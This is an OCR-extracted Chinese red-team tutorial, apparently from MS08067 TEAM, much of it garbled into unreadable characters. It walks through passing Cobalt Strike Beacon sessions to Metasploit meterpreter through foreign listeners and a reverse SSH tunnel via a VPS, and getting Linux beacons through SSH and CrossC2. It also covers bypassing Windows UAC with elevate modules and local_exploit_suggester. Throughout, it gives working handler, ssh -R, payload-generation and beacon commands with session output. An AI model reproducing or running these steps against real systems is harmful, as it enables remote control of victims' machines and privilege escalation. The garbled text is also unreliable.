1. CS Foreign Listener 7EiX B2 & B CS f¥] Foreign Yilr#%. W2 CS 3.14 14
Wr 2R (CS 4.0 KW 3830 A T HREAR) -

B rew Listener — L]

Create a listener.

X

Name: | ssh tunnel

Payload: E‘windﬂws,.ffnre@."reverse_tcp

Host:

Port:

windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/beacon_tcp/bind_tcp

F

indows/foreign/reverse_http
indows/foreign/reverse_https

windows/foreign/reverse tcp

PRSI es B30, AT — MR

HrAr, Foreign W7 28 372 35 5 HAR AL ) W W 28 1 ATYRAE (spawn) , 40

msf [\l multi/handler.

V4 I T 28 152 B A foreign FF48 & FHLANEG 1 J5 1T LK Cobalt Strike )

payload A4 B2 5 5 #% 2] msf 1.
2. CSIEIAMA

BB — i, FTIE CS+MSF HIkal, MK BTk HUE i E R & .

"
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MR A E CS 55 MSF 2 [0 (3, 552% LN Beacon LK. 584/ CS sy de
55 MSF Jik 55 451X 38 Z TR FO B e O o

KN CS 72 C/S 22/, Iamizehb i — N in @l CS ¥ ke D MSF (BiAH =7
M), Ve A MSF 1 CS 2 b ELIEWR 2 I8 E ) CS FIFIRAAR S5 25 1R 4T85 K e 2

R LB CS HYE AR .

&= " . he

i ,7 7 Teamserver Bjc2/B3a§
& e L0 DAHRMERSIRAEIRITS S
B 3* .3

KK H Klion fSCE, &RATIIE P b5 B BAR 55 25 08 AR

PLF AR E cs B M, ARNCT HUNREEE T AE:
Cobalt Strike KEU i Jiti (247" Beacon Hi#{5, #i{# Beacon H AEHICK B K
BAIR 55 28 AT 55 H R gefs 48 B kit 2 HH AR 45 45

B X5t & Beacon payload I, Cobalt Strike 24 pl— NI BA R S5 43 T 1)
N /RN . BIBAIR S5 5 ) A A2 BR A\ Beacon [#] payload stage.
Beacon {5 A [A] FA Ik 55 25 1 2 A R 2 32k 21 A AR 2528 B 2= 1 oo 20040
Beacon W U 7E [ BA IR 2528 T LA H A2k H Beacon 23 1if 1 HY 2 AT #F
SRRESTETTEAE . TR S — > tH Beacon AL I BE L2 15 FAEH .
PR 55 #5158 F 1> Beacon [ 2 T BAEA KN %5 AT 55 FF il % i o

1> Beacon #A% FH A [F] (1) 77 Sk SE AR 1EIE . 4 7E VA HTTP Al
DNS Beacon H i F i A5l R, A A1 F HTTPS Beacon [F4f 1) 4%
ERY

THVER, 34 Beacon 7MY ELHS, payload stager KN HARFRR A, WA X
6 Py I e AR

8
é MS08067 TEAM
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Wil %52 Cobalt Strike 55 bot Z [A]FEAT I I AJAZ O R . [R]A #2 payload
[RIC A5 S LL R A JF Cobalt Strike k5 #% LA payload SUZEREEFE 4. HsE
LT payload FCE _— ZHIHI ZAE S

W28 B e LR payload 2R, FHL. om0 R HoAth s B 4L,
FiF 52 X payload FIAFHUN &

BARX LT R R IR, EREZMFERER, it

CS HEWAR R, B IRASEES payload #T#ERE, HELFLEHAMNRS
&= PAEIBARS AN, X CS Wit H—Mp 22,

JIT LK T it )

CS ¥ Kk inEF| MSF (HAHR TR , JE R MSF Fl CS % i ELIZENE ? I8 2E
11 CS B AR 55 28 13E47 15 K We 2

ERNIZAE: CS 5 MSF Z A ER A, HE CS BIRARSS %5 MSF Z 8] (it
B ) umtEoN s =07 RS CS BIBMIRSS #8172 B,

REERIERZ T, BIE TIER KBTS RN
o CSHIPAARSZs (J53CRFRTS)
e  MSF IR% %8

AR 2RI LR DL P A B 2 A W R X Ll e (CS HIBAR 55 4% — A
SIHEARM) -

1. CS TSTEAM. MSF IEAHE
2. CS TSTEAM. MSF 7E M

MSF 7E 2 WIS DL L MSF R Hi R 175 DUAH NS BE 4 e e — . TR AR MSF FEAR
B AP Huhi, EAIE cs TS WM E K MSF, il F EASM AL .

3. Spawn

THE cs B A FMHRT spawn BINH, FREIFEM 7 — SECN B TAE:
Cobalt Strike [ Beacon fx#]/& —/Ma @ A MLk, 1EIRAT DLERFEXNT 525
ENLHT R . M—FF44, Beacon [ 3FEE H 152 17 H AR A Cobalt
Strike Hi W A& AR o

i spawn 2k A— MR ERIRAE — D218, I spawn n 2852 — /N4
¥y (tn: x86, x64) Fl— W 38/E N H B3,

a
ay

" MS08067 TEAM
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ERINTEIL R, spawn i A2 1E rundll32.exe FYRA: —2xif. B BT
BAEEEHES K rundll32.exe 7€ 5 Internet #IERIX M R HE LR
N T EGFRIRRREME, URAT AR B E G fIFE)T (W Internet Explorer)  3F

fFH spawnto 74 KU BHTEIRAE T & UG N 2 H Beacon " HIFEANFE 7

e B EE——DIIMain 5 rundll32 VEE, WERIIE %, g, 2019 4E 10 A 2

AN NERfE, SEBr Bl AR

H

Reporting Help
BN EHES BLPUSGwED e B S

internal -

107 12 CE 1

note

B choose a listener O
payload host port
windows/foreign/reverse_tcp ] 8080
windows/beacon_http/reverse_http J 70
I Choose ” Add H Help ]
68.56.1@18188 X |
=-[C] 0: [System Process] PID |PPID Name Arch | Ses... User
= |:| 4: System 52188 1328 Video.ULexe 64 1 ESG!
] 144: Registry 28220 1328 RuntimeBroker... =64 1 ESGY
[T} 808: smss.exe 30428 4160 XshellCore.exe =86 1 ESG
7] 3560: Memory Compreskion 6108 50824 chrome.exe 64 1 ESG\:.
[] 1000: csrss.exe rundll32.exe 1
=[] 432: wininit.exe 14596 18188 rundll32.exe =86 1 ESGY
= % 1076: services.exe 20436 18188 rundll3Z.exe xX86 1 ESGY
] 1300: svchost.exe 27444 18188 rundll3Z.exe =B 1 ESGY
= |:| 1328: svchost.exe 20964 18188 rundll3Z.exe =86 1 ESGz
D 9340: ChsIME.exe 42712 18188 rundll3Z.exe 86 1 ESG\:
|:| 11092: RuntimeBroker.eXe 22584 50824 chrome.exe 64 1 ESGY
=[] 11544: RuntimeBroker.e: 14320 50824 chrome.exe =64 1 ESGY
|:| 53392: regedit.exe 26848 50824 chrome.exe 64 1 ESG
= |:| 4160: Xshell.exe 16660 50824 chrome.exe =64 1 ESG!,
|:| 4104: XshellCore.exe 49028 50824 chrome.exe 64 1 ESGY
[] 30428: XshellCore.ex 42584 50824 chrome.exe =64 1 ESGY
] 15540: dllhost.exe 53788 50824 chrome.exe 64 1 ESG
[T] 8488: ChsIME.exe 49228 50824 chrome.exe x64 1 ESG
1 23828 50824 chrome.exe x64 1 ESGY

I Kill H Refresh l I Inject ” Log Keystrokes ” Screenshot H Steal Token ] [ Help ]

MAR¥F A Beacon IEFE T spawn, HiEIRAE, ZJESIERIERE— Listener:

MS08067 TEAM
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https://payloads.online/archivers/2019-10-02/1

[ ]
Cobalt strike View Attacks Reparting Help

OE O E=¢BifU G0 la Ba
external internal ~

.......................

Listener Bt 2. T payload FLE _F— ZEHM RS, Wi s UF CS HIPURSS %M
payload WUEEAR S WHL T, & X T payload MIAF AL E

BN FAS Beacon 385 Listener #HATIRAE, BATER T HHI &G XNEER
RAEZEFHE rundll32.exe XPMEF BRI S5 RA1IE B FEIXA Listener H bk
o AT ER, HITHESKE.

N 2 i —%), 7E CS 1, ¥ payload iEAF|NAFH KIS FR T spawn, i&F

inject.

RARBRAE:

HRAR T AT PR ER N, R TR AR AR AP AR T
. ELKH MSF QYA

FUAHIHL AR msf &R, O R 4 R B T 2% -

msf > use exploit/multi/handler msf > set payload windows/meterpreter/r
everse_tcp vE: BLACHIBR RS RS BN B cs AMBIENT 23 BT B2, 98 meter
R TIEIER FER msf > set lhost 192.168.113.131 T
X HIEAR MSF RS 85K IP Hilk msf > set lport 8080 msf > exploit

é MS08067 TEAM
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ol root @kali: ~ Q (— I T <)

:~# ifconfig
ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.113.131| netmask 255.255.255.0 broadcast 192.168.113.255
i 3b:379e  prefixlen 64 scopeid 0x20<link=

r 00 Jc 29:8b:37: txqueuelen 1880 (Ethernet)
( packets 1055641 bytes 646616080 (616.6 MiB)
0 dropped 0 rerruns @ frame @
203494 bytes 14533871 (13.8 MiB)
5 @ dropped © overruns © carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING= mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 :: prefixlen 128 scopeid ©0x1@<host=
loop txque en 1000 (Local Loopback)
RX pa s 78 bytes 354523 (346.2 KiB)
RX er ) dropped @ overruns @ frame @
TX pa 7897 bytes 354523 (346.2 KiB)

dropped @ overruns © carrier @ collisions @

1957 e plolt - 1093 auxiliary - 336 post
=[ 558 payloads - 45 encoders - 18 nops
[ 7 evasion

loit/multi/handler
msf5 exploit( ) = set payload windows/meterpreter/reverse tcp
payload == windows/meterpreter/reverse tcp
msf5 exploit( ) = set lhost 192.168.113.131
lhost == 192.168.113.131
msf5 exploit( ) = set lport 8080
lport == 8080
msf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.113.131:8880

XPEREA ) MSF A T — T 3%,
FE e 45 KM MSF —1N 4\ g hf
X B SSH %l i %

FE— G~ VPS Egw sshd FLE, JT3 ssh ¥ &K DI6E HE )T ssh k5, X2prA Ml
Y ssh 18 e AR 0 26 25 A -

# vi /etc/ssh/sshd_config AllowTcpForwarding yes GatewayPorts yes TCPKe
epAlive yes PasswordAuthentication yes # systemctl restart sshd.service

FHREI2 B CAM ) Kali HIFIET ssh BRE U U1 ek

& 508067 TEAM
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# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 root@x.x.57.70 -
p 27035

:-# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 root@
.70 -p 27035

root@! | .57.78"'s password:

: ~# I

A E A \1 @i xx.57.70 X G HLEHEK E SMHB T 8080 ¥ i /4%
A 192.168.113.131 7 8080 iy [ _F;  \2. Al 192.168.113.131 1
8080 it 1 L 1) )L IE I & meterpreter FIMEIT 8% \3. ATLL, A A S
meterpreter A 28 RR .

BRI fa, SIHUERE] vps EEFE IR, WA @B YT 8080 i 2 )i
AWARR, THIRER 7 AUARREA R 558, W s HABER vps Bl
o BRI o Lo, A R A S AN T

# netstat -tulnp | grep '8080'

important-clusters-2# netstat -tulnp | grep '8880°
tcp 2] 8080 0.0.0.0:% LISTEN
tcp6 2] 0 R LISTEN

important-clusters-2# []

AR L) T

= TECS LGS T4

£ cs FAIE— tep K foreign listener, [A]35 115y 8080:
TCP #t AT LA, WIRE HTTP B HTTPS, & A A 1P,

& M508067 TEAM
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.l-_ U! I!IEHI-\ L)
intemal ~ user
192.168.56.1

excternal

I Edi Listerer - o x
create a listener.

Name:
Paylosd: |windows/Toreign/reverss_tcp -
ot [T e oo i

por: (w090

)

[Lada ] [Lrain ] [Cnemove ][ Restars | [Lnietp|

IX HLP) MSF AR ML, 5258 — D il it SSH BEIE 4 & 21 VPS 1A M kL

Z P LAELAE X AN MBI T 2%, R BN T RATEAE A spawn 74, L EH 2
MSF )Rk 55 %% F . listener /& spawn 2 (5%,

WM R AT MSF 2 HIAE N R AR 55 & LG, AURT BAAE 556 — 20 v SSHFEIE 22 Y
VPS e it 2IA M AR P 14T

H: WA ES, B m— N 0Erds, BT RIS 2. "TRe2 A
LU HBEH —21l, HELSAANME, 216 spawn 2| msf L2 f5, AHh CS %
LA AR ] CABAE o BT DAAS L 2 — N5 CS TS B 28 1

P : spawn
TRAE 25 T B4 AR AR 17 5.

B Cobalt Strike

% Beacon 164 spawn #£35 (E(7E Beacon shell #7247 HLIH I\ spawn) :

‘ ..... wine 70

NFHIE S MSF [ listener 1E NS

* MS08067 TEAM
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|

Cobalt Strike View Attacks Reporting Help

0RO ES¢ 8L el Pa o
excternal internal ~

1 user computer note pld last
-y 192.168.56.1

Chonse || asa | welp

[F] B A MSF,  miss K IUAH M. H AR L2 Y meterpreter T2 4 B 4258 (A1 2] [ A Hi:
msf5 exploit( ) = exploit

Started reverse TCP handler on 192.168.113.131:8880
0291 bytes) to 192.168.113.131
ete on 5 opened (192.168.113.131:8080 -> 192.168.113.131:54998)
at 2020-01-10 16:33:05 +0800

B2, BATTRCT ZRE—AMRE, MIMSEIL T M CS Beacon F 4 # MSF
meterpreter R4 :

IRERIE

25 VPS cs B

© 508067 TEAM
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%¢J5, Tobehonest, XANmEFMHET] T .

DoEAIET CS 5 MSF BEGEhiORdE, sessions — kRS 7, #E4SRMM- 7 meterpreter sehll &

WA OIS R, ST MSF IFAE A MR B g DL, JIEBA L. AR
KRITH T, T IR E MR E IR

R IR
[1] DlIMain 5 rundlI32 TE#, WURKIEZ, HihE, 2019 £ 10 H 2 M

£ 11508067 TEAM
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https://payloads.online/archivers/2019-10-02/1

f§ B Cobalt Strike X Linux EALH#IT )5 EE

[X >}y Cobalt Strike R e Bl % Windows FIA %, AR FEH . BrbAfd
H Cobalt Strike X Linux FAHLBEAT /G755 % W N ZHE . (H & sz @ a] DUS R .

FERA T X H R IE S H 8. KRR, AW 775 R] LAZE Cobalt Strike H
il Linux FH1 FZk:

0x01 5¥%E—: SSH &
1. REE

[SSH %151 4% UNIX HFriEATJ5121E /) Cobalt Strike T.H.
ffH [SSH <151 1EN agent AP NHIHE:

1. WREZLH 1 4 Windows Beacon Shell T . K NiX4™ Linux [£] Beacon 75 M —
/™ Windows Beacon SK#J154L ;

2. THELAIE Linux EHLA A E S SSH i .

AR RES W T, AUNEA T SSH 4k, M4 AEHCE LA/, B EE L
AN CS T4, H3E CS NAZEFAE.

MNINNIX EE RN TG BERNS NP B ARG BT Rk, [ T4
. BN SSH 2% 42 Al Beacon & E. A %2 % TCP Beacon I IEE. IXFER] LA
X7 Win — Linux — Win B3R 3MEE .

AL 4G TSSH &1 {97 HARHLE 110 agent?
. Ik

- WL, TR TR AHE AR

- R

- BRI RGN
e HEREE#. KEEUNIX BRi DA T SSH .

g L B4 52H 1 Beacon HIZEATNRE 1. W EFHH i iH o) B A DL B skt
FINREM—> agent, FFH ikt agent 76 2 F e RGFZM B ENUIA T H AR
B HMER) . 1M H SSH 2151824820 (bind agent) , RUCMEES Bk, ©

JE% 1&E A Cobalt Strike fUREAY, 7] ULH T3 —2P% 3| TCP Beacon.

e ERAEE HE XA E agent 1] U dropbear SSH #fF. ‘&2 —/~/N i SSH
545, RATCATESm RN B e L EIR A B H A, 51X e % i D REfE IS
i, XAgeR—"MRIREIT.

é MS08067 TEAM
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2. BER

Beacon #JE4k.:

o EHIKTEIDE3) SSH 231

ssh [Hbr:30] [ 4] [%65]

o MEHEES) SSH 1

ssh-key [H¥r:uiH] [H7 4] [/path/key]
Beacon H#r4:

o BiTW4

shell [m4] [Z#(]

o i/ sudoizfrnd (HhamSA—EMI), X2 CS K bug)
sudo [#f4] [wr<&] [ZH]

o HUERNfFR

cd /#k1e/

o bAB/ B

upload [/AMHnEgfE/ S ]download [30f4]
SSH £xif & A b gt — itk hii A i) Beacon.
Bkt Th e -

e Ja5) SOCKS Btk (pivoting)

socks 1234

o RN K

rportfwd [MiWrim ] [FAKEN] [Fe AR ]

rportfwd 74 3R SSH 5P R GatewayPorts LMY % B N yes B E /&
ClientSpecified; HA IR ILETIH W E N ClientSpecified MER i [a) ik H#%
K48 5E N localhost 2 A1 ik .

7£: H dropbear SSHAZA @, (HaniR HE R FEHRIRiE % SSH ~F4r it 2 mt
BLe XA A

HE A ThRE:

Al
_ MS08067 TEAM
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WS AT DAHEAT — LB 2B kAR (pivoting) 1.

SSH 215 1] L%l TCP beacon, i#id connect [host] [port] f&iEfEE|— N4
FpiZEHE:H TCP Beacon.

o E}F|—A TCP Beacon
connect [FEHL] [UiH]

e fE— 2 If TCP Beacon iM%

[4:1f] » Pivoting » Listener

192.168.83.1 XIAOMIT3
Interact :
192.168.83.128 root snowming
AcCCESS
Explore »

- *B SOCKS Server

Session * | Deploy VPN
Erebus

—_—

vE:
e Pivot Listener %3k SSH ~F# ' i F£M) GatewayPorts LI 1% B N yes BX,
#& ClientSpecified.

o IR GatewayPorts UM % B N yes Bis& ClientSpecified, HAMR
FIBEAR I 28 (pivot listener) £x##55E 5 localhost, XMW AL L.

o [EULIETIBE VA MBI, ARA] PO — AN E ) UNIX H bs ENLE
¥ F T ) [7] TCP Beacon <= [ B 5E [ #8 .

3. 41
HeiE N 28 1) Windows Beacon Shell #4546 —> SSH <1 Beacon:
sleep @ ssh [HEsFEMN ip:5mH] [/ 4] [%569]

* MS08067 TEAM
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X | Beacon 192.168.83.1@18148 X

[*] Tasked beacon to sleep for 30s (30% jitter)

beacon?> sleep O

[*] Tasked beacon teo

beacon? ssh 14 [.T0:27035 r 'S 3

[*] Tasked beacon to .T0:27035 as root
[+] host called home,

[+] host called home,

[+] established link

SRIG L E2: 7 — Linux Beacon Shell:

I Cobalt Strike =
Cobalt Strike View Aftacks Reporting Help CrossC2 @
QRO E=Ze BE,U GwBD Pa B

external internal - user computer nate pid last
Tg» 192.168.83.1 0coo 144 /@70
B 1 3.141 192.168.83 1 £0267730 XIAOMI13 Bid: 65891 Arch: x64 V... 18148 42ms

e0267730
XIAOMI13 @ 18148
Bid: 65891 Arch: x64 Ver: 10.0

root *

impor tant—clusters—2. localdomain

SEFRMEH, XA SSH 231 Beacon Shell 2452k, T2t dt 7t —2 i zhaedilik.
0x02 7y —-: Cross C2 Wi
Cross C2 Wi H & —AN1 PA4E % Linux/Mac 0S [ CS payload H#-F- & H .

ZIE PR SO C R AERTE R T, TEE WA T SR, BE T EARA RN
Payload I &) bug. Ff HAR S T 5545 K A i) Beacon Shell 1R 5.

AL AET EEE W T LA

":’

' MS08067 TEAM
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https://github.com/gloxec/CrossC2

o  ZfF Linux/Mac OS &4t N2 CS % /¥, Windows FANA LA
o f#iH windows/beacon_https/reverse_https il #s.

o EEHIBAARS B T RIS SCAF . cobaltstrike.beacon_keys & il F AN CS H
Ko

o XMHERICSEMUWMBHEHZT, M _gHZ.
o A payload & — Linux A AT SCLE, ip A 6 R ARAS

windows/beacon_https/reverse_https MHT 2.
fEAE B AT BAT SO 2 2 B Ar Linux AL2s 34T, BPAT_R2k.

z # ./genCrossC2.Linux 144. .70 100 null null Linux
/CrossC2-test

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
*[success] : Packed 1550796 byte.

ion root@192. 168.83. 128 (snowming)

¢s.. v 08:48PM O A O|lac

Cobalt Strike View Attacks Reporting Help CrossC2

OB O EH=¢ BLLU TeBEH /a B G
external internal ~ user computer note pid last
El 54.1° 5... 192.168.83.... root snowming 59s

al:
é MS08067 TEAM
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root

snowming

- v

EventLog X | SSH 1 57T.70 X | SSH 192.168.83.128 X

P

neol ssh> shell wvhoami
[#*] Tasked beacon to run: whoami

[+] host called home, sent: 37 byvtes

[+] received output

root

R, L5, IRAE Windows TR CS % o, AT DA #FX A Linux

Beacon Shell.
0x03 =45
25 AT 4R T Linux Beacon Shell 22 J5 3R FMNE 0 R

¥/

i
V.
<

MS08067 TEAM
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root *

XIAOMI13 @ 18148
Bid: 65891 Arch: x64 Ver: 10.0

impor tant—clusters—2. localdomain

snowming

B2, @3t SSH <15 £k Linux Beacon Shell, & W/ NHTHE:

1. WRELHFZE/> 1 4 Windows Beacon Shell T » K NiXA™ Linux [£] Beacon 75 %
M—> Windows Beacon R#]IE4L ;

2. TESIE Linux EHLE R E S SSH i .

AR EE . HEDIREZ, FTLMENEE M43 48 2% 1% 8 TCP Beacon, J7{fifH
[ o

#3d Cross C2 Wi H A= sl 1] PA#% Linux ) payload £k Linux Beacon Shell, {ij

PR PECE

[1] Youtube #1470 - [7%£h ] Red Team Ops with Cobalt Strike 9 of 9 Pivoting,
Youtube, Raphael Mudge [2] Cross C2, Github, gloxec

& 508067 TEAM
Q www.ms08067.com


https://www.youtube.com/watch?v=T6JOzXmpmZw&list=PLC0e6z60AM2Gqimz0kFiLBp5cCnCQGoud&index=9
https://github.com/gloxec/CrossC2/blob/master/README_zh.md

Cobalt Strike & Bypass UAC
CS FMt 4.0 Hr it

Cobalt Strike ffy | —%s58id UAC Eﬁlﬁzﬂi Ean R M ar AP AR E R,
Iﬁ(%‘%’i;& EREYTHPESAEHEAHE, £ run whoami

/groups %o

Fir PAASCH i F uac-d11 A1 uac-token-duplication XN CS H A M) bypass
UAC BRI BANT, FBELERM, F Adninistrator B{FE SYSTEM AR . 4R )5
il elevate Ay 2 f# X 4L Bypass UAC IR R

JESL

Ox01 B S

ALK N AR . X LEHRAF AL IAETE Cobalt Strike B M) CS 4.0 T/

AR E O AR EEEHORN, FrUInEa e RR TR, A AEBL H#IER
R, (ER MR E Ol VS E AT . R IR R T L AE I . AR H O
EORAR K m, FEEXH OO T

SEER A ET: Cobalt Strike 3.14 AR Z2FHL4%: 4 360(zhuDongFangYu. exe) ]
WIN10

VN & EPE
e  Cobalt Strike Elevate #i#t BypassUAC J5 2
e  MSF 1 CS BX3))>k Bypass UAC

e  MSF — Meterpreter J5 [ shell

0x02 Cobalt Strike F I3 A4

—UEBEM R R E AL IBR . Beacon A JLANH B P H& T R AL
PR FA1 325 101

Ei elevate #y4-F) FIRTFHRA

i\ elevate 7] A% HYTE Cobalt Strike HyFE M A SRR IR . 1547 elevate
[exploit listener] k22 {d 45 & IR IR FI FH SRR AL

ETCAL I B B 12 2% 83T [beacon] = Access — Elevate 3K )izl H of— MR F
.

é MS08067 TEAM
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i, 7E Cobalt Strike 3.14 FEILHMRH, elevate BERNE T :
e ms14-058

e uac-dll
e uac-token-duplication

XA, ms14-058 ] T-F Windows ML Y8 FH 7 BUR B 24 T+ 2
System AR . uac-d11 fl uac-token-duplication HEH FHhBhiZiE MR N 3k
1T bypassUAC #1E, Bkl R

F 1 beacon_http/reverse_http Ml #s:

IS A
i 2 s

elevate uac-dll testlelevate uac-token-duplication testl

0x03 {# F§ UAC-DLL #1t Bypass UAC

247 Beacon ¥ A it UAC:

¥

©
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Eventiog x| Bescon 192.168.56.1@7024 X | Listeners X

i /all
acen to run: vhosai /all

mt: 42 bytes

Tt

LT

21-1665290243-900906; 8406792-37198

LROPE, £
SURF e
LROE, 8

3
24
e -
S 4 . EAFEHA
et 4 UEE]
BOE, fRTRIA
21-1665290243-900906:
$-1-5-21-1605290243-900906: 792-43334 4 A, BRETFIA
24 5-1-18-1 &y, BMATHIA,
tory Level [lE  5-1-16-8192

HEe

Hwae

aShutdowaPrivilege KR

‘hang e Lol R HGE E

kPrivilege WY RS FR TR €
reaseVorkingSetPrivilege MAGHELT 0

SeTineZonePrivilege W B 2

14014802-PC] 1024 lass: 418as

f# ] uac-d11 bypassUAC:

cobltstrike View Attacks Reporting Help
CE G EHZ¢ aifU el Fa ia

user nate pld

Eventlog X | Beacon 192.168.56.1042160 X

ERFPEGA
FITELL

MS08067 TEAM
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{HHSEIXFEIRAILSE, FIONAE Bypass UAC (A2, 27E H AR BN LI AME,
WIS T RHEA AT LA, 15 WTE I e i #R A -

a
ay
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XA HE &R AT H T Bypass UAC HJ Beacon shell #2338 H AR . {H/21X BFA
MEAREIRPUCRBE B REAA RGO IX I 1, A S, A B MSF >k
BypassUAC.

0x04 BX35) MSF i €S Beacon Shell BypassUAC

£ CobaltStrike&MetaSploit Bi2)) XFE X E R, HHEFid Cobalt Strike 5 MSF ]Ik
g, X B IRFEBL MSF B post/multi/recon/local_exploit_suggester KHiB)
Cobalt Strike [JiX > H#x BypassUAC:

FH—H: LR MSF [ 6y W 5 4
WAL AW VPS EFF T A MSF,  FHOI a0~ IS 0 85

msf > use exploit/multi/handler msf > set payload windows/meterpreter/r
everse_tcp VE: MK RUE S EM BT cs AMERMEIT & PR BON L, 498 meter
RTIEIERFIER msf > set lhost 144.%.*.70 H:
X HIEAN MSF RS A5 IP Hilik msf > set lport 7777 msf > exploit

www.ms08067.com
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http://blog.leanote.com/post/snowming/43cef4b64cbd

i/handler
! et payload windows/meterpreter/reverse_tcp

>
ploit(m

> windows/meterprete
ploit{m

FHe ECS LB

£ CS LA — tep 1 foreign listener, [F3% %5 %4 9999:  (TCP #tvl LA, 40
SRJE HTTP BCHTTPS, Rl kA4 M A2 1P)

B edit Listener — O >

Create a listener.

Name:

Payload: [winn:lm-vs,"fureigm'reverse_tcp vl
Host:  |144. 70 ]
Port:  |7777 ]

Save |

H=7F: spawn

IRAESTEEEEIR A 8. X Beacon #£#F spawn &1,y H % % MSF [ listener
MSF_VPS 1E NS,

¥

“ MS08067 TEAM
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[B] A MSF, g2 K BUAH N H AR AR ¥ meterpreter O 284 ELEGH A1 2] 1 24 M4
MSF L

) = set lport 7777
ler) > exploit
handler on 144,

s 88291 bytes) to T
[*] Meterpreter ion 1 opened (144. .= 7:50561) at 2020-81-19 12:0:

meterpreter = []

B2, BATTERC T XA ERE, A SEIL T A CS Beacon F|A  MSF
meterpreter R4

BRI BRI TT-FEN
ARIX — R ERABLT, (HRIX AP R — B =T,
FE# AR ) meterpreter HUTH, A FHIRAHERF LI

meterpreter > run post/multi/recon/local_exploit_suggester

SRR Y T LR B (HR RIS R A T WAL,

¥

. MS08067 TEAM
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meterpreter > run post/multi/recon/local_exploit_suggester

Collecting local explol
plnlt checks are being trled .
uac_eventwwr: The target appears to be wvulnerable.
ac_fodhelper: The target appear lnerable.
luthijack: The target a 5 lnerable.
condary_logon_handle_pr. The service is running, but could

<.0.9/9 . / ' ; eL/ag
Jopt/met 'g 5.0/g -rea 3 .rh: leck in
e_tty c ha . "fopt/ i g ine- ib/rbreadline . rb

rljrep ‘tE-I"IﬂlI' 1 "fopt/met plnl —Tr.arne..u)rk.. embedded..-’l' 7 5/2. readline-
:in “readline'", pt lnit framewnrk embedded' ame i x/ui/te nput/read
. reudhne n\'l‘th Dutput .' / i i readline.
he get_input_line'",
. “Jopt/ met ploit-framework/embe
interact fopt/metas loit- framework/embedded/ f ramewor
_interact'", "/opt/metasploit-framework/embedde
loit-framework/embedded/ framework/11b, /
loit-framework/embedded

in run_ mgle
Jopt/metasploit-framework/embedded/f
it-framework/ i i
it-f in °
“block in run_:
Ed(h

plo 1t framework/embedded/ T ramewo rk
opt/metasploit-framework/bin/. . /embedded/ framework/
Traceback (most recent call 1
from /
: from Jopt/metasploit-f
: from fopt/metasploit-framework/embedded/framework/1ib/met

D: from /opt/metasploit-framework/embedded/framework/1ib/r 1ell.rb:141:in " run®
from fopt/metasploit-fra d/framework/1ib/ rex, / . ti 'ge‘t J.nput line'
from fopt/metasploit-framework/embedded/framework/11ib/r
from /fopt/metasploit-framework/embedded/framework/11ib/r
_output’
6: from /opt/metasploit-framework/embedded/11ib/ruby/gem
:in “readline’
5: from /opt/metasploit-framework/embedded/11b/ruby/gem
:in " rl_prep_terminal'
4: from fopt/metasploit-framework/embedded/11ib/ruby/gems/2.6.0/gems/rb-readline-0 5/1ib/rbreadline. rb: 6967
:in  tty chars

POSEA NIITT5T, B AR — & IKEE VPS (AfFRTRE 512) , FTLAdk
FERXAAX R — AV%ifHHHWBIM%%%ﬂMw,W TET WA EISS
o

75 R4k a4 VPS. H— D REHE T A VPS, HEX EHL THEI=M i i5H &
Eﬁ%*%uﬁ@ﬁM%JWMP%W%ﬁ%%M’@AE@*%N&&%&WEO
EAAEAR T, 62 HASH MSF ¥ SSH FFiEE......

MS08067 TEAM
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= root@kali: ~ Q|| = >

:~# ifconfig
eth0: flags=4163<UP.BROADCAST,RUNNING,MULTICAST> mtu 1500

inet|192.168.113.131] netmask 255.255.255.0 broadcast 192.168.1
= root@kali: ~ Q = =

Press SPACE BAR to continue

=[ metasploit v5. 58 -dev -
+ -- --=[ 1957 exploits - 1093 auxiliary - 336 post
+ -- --=[ 558 payloads - 45 encoders - 10 nops
+ -- --=[ 7 evasion

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf5 exploit( ) > set lhost 192.168.113.131

lhost => 192.168.113.131

msf5 exploit( ) > set lport 8080

lport => 8080

msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.113.131:8080

:~# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 root@l
44 . . .70 -p 27035
root@l44. .70's password:

:~# Llsot -1:8080
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ruby 1408 root 7u IPv4 30585 0t0 TCP kali:http-alt (LISTEN
)

IRAESTEZ JGRAT L —IXWE] T meterpreter.... KZ A G W EIFIF 21
msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.113.131:8080
Sending stage (180291 bytes) to 192.168.113.131

Meterpreter session 1 opened (192.168.113.131:8080 -> 192.168.113.131:6049
4) at 2020-01-19 14:13:32 +0800

FVTH: (#/H MSF BypassUAC

meterpreter > run post/multi/recon/local exploit suggester

V14

W

MS08067 TEAM
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o} root@kali: ~ Q

lport => BOSE
ms FirefoxESR  ( ) = exploit

0o ¢

er on 192.168.113.131:8080
to 192.168.113.131
(192.168.113.131:86080 -= 192.168.113.131:6049
4) at 2020-01-19 14:13:32 +0800

neterpreter = run post/multi/recon/local_exploit_su

10.74.185.142 - Collecting local exploits for x86

10.74.185.142 - 29 exploit checks are being tri N

10.74.185.142 xploit/windows/local/bypassuac_eventvwr: The target appee
rs to be Vulnrldblw

10.74.185.142 - exploit/windows/local/bypassuac_fodhelper: The target appe
ars to be vulnerable.

10.74.185.142 - exploit/windows/local/bypassuac sluihijack: The target apg
=2ars to be wvulnerab

10.74.185.142 - exploit/windows/local/msl6 032 secondary logon handle priy

i is running, but could not be validated.

" on 192.168.113.131:8080
to 192.168.113.131
(192.168.113.131:8080 -> 192.168.113.131:6049

o -
4) at 2020-01-19 14:13:32 +0800

meterpreter > run post/multi/recon/local_exploit su

10.74.185.142 - llectlng local exploits for x86/windows. ..
10.74.185.142 - exploit checks are being tried...
metasploit framewark exploit/windows/local/bypassuac_eventvwr: The target appea
rs to be vulnerable.
10.74.185.142 - exploit/windows/local/bypassuac_fodhelper: The target appe
